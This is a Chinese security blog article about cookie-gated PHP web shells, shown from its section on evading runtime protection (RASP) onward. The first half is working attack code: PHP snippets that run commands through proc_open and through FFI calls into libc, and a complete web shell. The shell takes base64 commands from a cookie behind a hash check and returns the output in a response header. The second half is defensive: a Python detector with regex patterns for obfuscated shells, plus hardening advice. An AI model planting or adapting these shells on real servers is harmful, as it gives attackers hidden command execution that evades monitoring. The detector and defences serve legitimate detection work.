Cookie-GatedWebShell进阶:高级混淆与加密对抗

admin 2026-04-10 02:48:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍Cookie-GatedWebShell的高级混淆与加密技术,通过函数名混淆、动态函数构造、回调函数隐藏等方法消除敏感关键字,并采用AES-256-GCM加密通道和RSA混合加密实现端到端加密通信,有效对抗静态扫描、人工审计和RASP检测。关键发现包括利用变量函数、类魔术方法隐藏执行逻辑,以及每次通信随机IV防重放。可操作建议是结合多层混淆和强加密构建隐蔽的WebShell通信通道。 综合评分: 85 文章分类: WEB安全,渗透测试,代码审计,红队,内网渗透


0x06 对抗 RASP 的技术

6.1 间接执行绕过 Hook

<?php
//&nbsp;RASP&nbsp;通常&nbsp;Hook&nbsp;了&nbsp;system/exec/passthru/shell_exec
//&nbsp;以下路径较少被&nbsp;Hook

//&nbsp;方式&nbsp;1:proc_open
$desc&nbsp;=&nbsp;[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$process&nbsp;=&nbsp;proc_open($command,&nbsp;$desc,&nbsp;$pipes);
$output&nbsp;=&nbsp;stream_get_contents($pipes[1]);
proc_close($process);

//&nbsp;方式&nbsp;2:FFI&nbsp;直调&nbsp;libc(PHP&nbsp;7.4+)
if&nbsp;(class_exists('FFI'))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$ffi&nbsp;=&nbsp;FFI::cdef(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"int&nbsp;system(const&nbsp;char&nbsp;*command);",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"libc.so.6");
&nbsp;&nbsp;&nbsp;&nbsp;$ffi->system($command&nbsp;.&nbsp;"&nbsp;>&nbsp;/tmp/.out&nbsp;2>&1");
&nbsp;&nbsp;&nbsp;&nbsp;$output&nbsp;=&nbsp;file_get_contents('/tmp/.out');
&nbsp;&nbsp;&nbsp;&nbsp;@unlink('/tmp/.out');
}
?>

6.2 PHP FFI 深度利用

<?php
/**
&nbsp;*&nbsp;通过&nbsp;FFI&nbsp;直接调用&nbsp;C&nbsp;函数
&nbsp;*&nbsp;完全绕过&nbsp;PHP&nbsp;层面的所有&nbsp;Hook
&nbsp;*/

$gate&nbsp;=&nbsp;$_COOKIE['_ffi_gate']&nbsp;??&nbsp;'';
if&nbsp;(hash('sha256',&nbsp;$gate)&nbsp;!==&nbsp;'TARGET_HASH')&nbsp;return;

$cmd&nbsp;=&nbsp;base64_decode($_COOKIE['_ffi_cmd']&nbsp;??&nbsp;'');
if&nbsp;(!$cmd)&nbsp;return;

$ffi&nbsp;=&nbsp;FFI::cdef("
&nbsp;&nbsp;&nbsp;&nbsp;typedef&nbsp;void*&nbsp;FILE;
&nbsp;&nbsp;&nbsp;&nbsp;FILE&nbsp;*popen(const&nbsp;char&nbsp;*command,&nbsp;const&nbsp;char&nbsp;*type);
&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*fgets(char&nbsp;*s,&nbsp;int&nbsp;size,&nbsp;FILE&nbsp;*stream);
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;pclose(FILE&nbsp;*stream);
",&nbsp;"libc.so.6");

$fp&nbsp;=&nbsp;$ffi->popen($cmd,&nbsp;"r");
$output&nbsp;=&nbsp;'';
$buf&nbsp;=&nbsp;FFI::new("char[4096]");

while&nbsp;($ffi->fgets($buf,&nbsp;4096,&nbsp;$fp)&nbsp;!==&nbsp;null)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$output&nbsp;.=&nbsp;FFI::string($buf);
}
$ffi->pclose($fp);

header('X-FFI-Result:&nbsp;'&nbsp;.&nbsp;base64_encode($output));
?>

0x07 综合检测方案

增强版检测脚本

#!/usr/bin/env&nbsp;python3
"""Advanced&nbsp;Cookie-Gated&nbsp;Shell&nbsp;Detector&nbsp;v2.0"""

import&nbsp;os,&nbsp;re,&nbsp;sys,&nbsp;math
from&nbsp;collections&nbsp;import&nbsp;Counter

class&nbsp;AdvancedDetector:
&nbsp;&nbsp;&nbsp;&nbsp;PATTERNS&nbsp;=&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'\$\w+\s*\(\s*\$_COOKIE',&nbsp;'HIGH',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Variable&nbsp;function&nbsp;with&nbsp;$_COOKIE'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'str_rot13\s*\(.*'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:riny|flfgrz|cnffgueh|furyy_rkrp)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CRITICAL',&nbsp;'ROT13&nbsp;encoded&nbsp;function&nbsp;name'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'chr\s*\(\s*\d+\s*\)(?:\s*\.\s*chr\s*\(\s*\d+\s*\)){3,}',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'HIGH',&nbsp;'chr()&nbsp;function&nbsp;name&nbsp;construction'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'FFI::cdef.*(?:system|popen|exec)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CRITICAL',&nbsp;'FFI&nbsp;system&nbsp;call&nbsp;bypass'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'__destruct.*(?:eval|assert|call_user_func)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'HIGH',&nbsp;'Execution&nbsp;in&nbsp;destructor'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'file_put_contents\s*\(\s*__FILE__',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CRITICAL',&nbsp;'Self-modifying&nbsp;code'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'register_shutdown_function.*'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:eval|assert|system)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'HIGH',&nbsp;'Execution&nbsp;in&nbsp;shutdown&nbsp;handler'),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(r'dns_get_record.*\$',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM',&nbsp;'Potential&nbsp;DNS&nbsp;exfiltration'),
&nbsp;&nbsp;&nbsp;&nbsp;]

&nbsp;&nbsp;&nbsp;&nbsp;@staticmethod
&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;calc_entropy(data):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;data:&nbsp;return&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;counter&nbsp;=&nbsp;Counter(data)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;=&nbsp;len(data)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-sum((c/length)&nbsp;*&nbsp;math.log2(c/length)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;counter.values())

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;scan_file(self,&nbsp;filepath):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;findings&nbsp;=&nbsp;[]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;open(filepath,&nbsp;'r',&nbsp;errors='ignore')&nbsp;as&nbsp;f:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content&nbsp;=&nbsp;f.read()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lines&nbsp;=&nbsp;content.split('\n')

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;模式匹配
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;pattern,&nbsp;severity,&nbsp;desc&nbsp;in&nbsp;self.PATTERNS:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i,&nbsp;line&nbsp;in&nbsp;enumerate(lines,&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;re.search(pattern,&nbsp;line,&nbsp;re.I):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;findings.append({
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'file':&nbsp;filepath,&nbsp;'line':&nbsp;i,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'severity':&nbsp;severity,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'description':&nbsp;desc
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;})

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;熵分析
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i,&nbsp;line&nbsp;in&nbsp;enumerate(lines,&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;re.search(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r"['\"]([A-Za-z0-9+/=]{100,})['\"]",&nbsp;line)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;m&nbsp;and&nbsp;self.calc_entropy(m.group(1))&nbsp;>&nbsp;5.5:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;findings.append({
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'file':&nbsp;filepath,&nbsp;'line':&nbsp;i,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'severity':&nbsp;'MEDIUM',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'description':&nbsp;'High-entropy&nbsp;string'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;})

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Cookie&nbsp;+&nbsp;Exec&nbsp;+&nbsp;Crypto&nbsp;组合分析
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookies&nbsp;=&nbsp;len(re.findall(r'\$_COOKIE',&nbsp;content))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execs&nbsp;=&nbsp;len(re.findall(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:eval|exec|system|passthru|'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'shell_exec|assert|proc_open)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content,&nbsp;re.I))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;crypto&nbsp;=&nbsp;len(re.findall(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r'(?:openssl_|hash_hkdf|hash_hmac)',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content,&nbsp;re.I))

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;cookies&nbsp;>&nbsp;0&nbsp;and&nbsp;execs&nbsp;>&nbsp;0&nbsp;and&nbsp;crypto&nbsp;>&nbsp;0:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;findings.append({
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'file':&nbsp;filepath,&nbsp;'line':&nbsp;0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'severity':&nbsp;'HIGH',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'description':
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f'Cookie({cookies})+Exec({execs})'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f'+Crypto({crypto})&nbsp;combination'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;})

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;findings

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp;&nbsp;&nbsp;&nbsp;detector&nbsp;=&nbsp;AdvancedDetector()
&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;=&nbsp;sys.argv[1]&nbsp;if&nbsp;len(sys.argv)&nbsp;>&nbsp;1&nbsp;else&nbsp;'.'

&nbsp;&nbsp;&nbsp;&nbsp;print("🔍&nbsp;Advanced&nbsp;Cookie&nbsp;Shell&nbsp;Detector&nbsp;v2.0\n")

&nbsp;&nbsp;&nbsp;&nbsp;all_findings&nbsp;=&nbsp;[]
&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;root,&nbsp;dirs,&nbsp;files&nbsp;in&nbsp;os.walk(target):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dirs[:]&nbsp;=&nbsp;[d&nbsp;for&nbsp;d&nbsp;in&nbsp;dirs
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;d&nbsp;not&nbsp;in&nbsp;('.git','node_modules')]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;files:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;f.endswith(('.php','.phtml','.inc')):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;all_findings.extend(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;detector.scan_file(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os.path.join(root,&nbsp;f)))

&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;f&nbsp;in&nbsp;sorted(all_findings,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key=lambda&nbsp;x:&nbsp;{'CRITICAL':0,'HIGH':1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM':2}[x['severity']]):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;icon&nbsp;=&nbsp;{'CRITICAL':'🔴','HIGH':'🟠',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MEDIUM':'🟡'}[f['severity']]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"{icon}&nbsp;[{f['severity']}]&nbsp;"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{f['file']}:{f['line']}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;&nbsp;{f['description']}\n")

0x08 纵深防御架构

┌────────────────────────────────────────┐
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;纵深防御架构&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
├────────────────────────────────────────┤
│&nbsp;L1&nbsp;代码层&nbsp;&nbsp;禁用&nbsp;eval/assert/FFI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;disable_functions&nbsp;白名单&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SAST&nbsp;+&nbsp;混淆检测规则&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
├────────────────────────────────────────┤
│&nbsp;L2&nbsp;WAF层&nbsp;&nbsp;Cookie&nbsp;深度检测(长度/熵值)&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;请求频率异常检测&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
├────────────────────────────────────────┤
│&nbsp;L3&nbsp;RASP层&nbsp;运行时函数调用链追踪&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FFI/proc_open&nbsp;调用告警&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cookie→危险函数&nbsp;污点追踪&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
├────────────────────────────────────────┤
│&nbsp;L4&nbsp;系统层&nbsp;FIM&nbsp;文件完整性监控&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web&nbsp;目录只读挂载&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;进程行为异常检测&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
├────────────────────────────────────────┤
│&nbsp;L5&nbsp;网络层&nbsp;DNS&nbsp;查询异常检测&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
│&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;出站流量白名单&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;│
└────────────────────────────────────────┘

最核心的防御措施(按优先级):

  1. disable_functions — 禁用 eval, assert, system, exec, passthru, shell_exec, proc_open, popen,以及 FFI
  2. Web 目录只读mount -o ro 或 Docker read_only: true,阻止文件植入和多态变形
  3. Cookie 日志 + 熵检测 — 记录所有 Cookie,对高熵值 Cookie 告警
  4. RASP 部署 — PHP 层面的运行时保护,追踪数据流

⚠️ 免责声明: 本文所有技术仅供安全研究和红蓝对抗演练使用。在未经授权的系统上使用这些技术属于违法行为。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:爱安全Info 小悉 小悉《Cookie-Gated Web Shell 进阶:高级混淆与加密对抗》

评论:0   参与:  0